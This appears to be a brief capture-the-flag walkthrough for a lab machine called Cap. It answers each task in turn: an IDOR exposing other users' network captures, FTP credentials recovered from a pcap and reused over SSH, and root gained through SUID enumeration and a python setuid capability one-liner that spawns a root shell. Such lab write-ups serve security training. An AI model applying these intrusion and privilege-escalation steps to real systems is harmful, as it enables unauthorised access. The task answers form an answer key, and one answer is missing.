Cap#
ip:10.10.10.245
Cap is a Linux machine running an HTTP server with a simple difficulty level, which performs management functions including executing network captures. Improper controls lead to insecure direct object references (IDOR), allowing access to captures from another user. The capture contains plaintext credentials that can be used to gain a foothold. Subsequently, Linux features are exploited to escalate to root privileges.
task1
How many TCP ports are open?
3
task2
After running "Security Snapshot," the browser will redirect to a path formatted as/[something]/[id]
, where[id]
represents the scanned ID number. What is[something]
?
task3 Can you view the scan results of other users?
By changing the number id after data, you can view the scan results of other users.
task4 What is the ID of the sensitive data in the PCAP file?
The id refers to the number of data, and there is FTP login account information in the 0 pcap file.
task5 In which application layer protocol does sensitive data appear in the pcap file?
ftp
task6 We have obtained Nathan's FTP password. What other services can this password be used for?
ssh
task 7 Submit the flag located in the nathan user's home directory.
ssh nathan@10.10.10.245
The flag can be seen after logging in.
task8 Submit the flag in the root directory.
Check the SUID bit settings.
find / -perm -u=s -type f 2>/dev/null
Privilege escalation script
https://github.com/carlospolop/PEAss-ng/tree/master/linPEAS
Upload to the target machine 10.10.10.245.
python
Reference: https://gtfobins.github.io/gtfobins/python/
cp $(which python) .
sudo setcap cap_setuid+ep python
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
/usr/bin/python3.8
import os
os.setuid(0)
os.system("/bin/bash")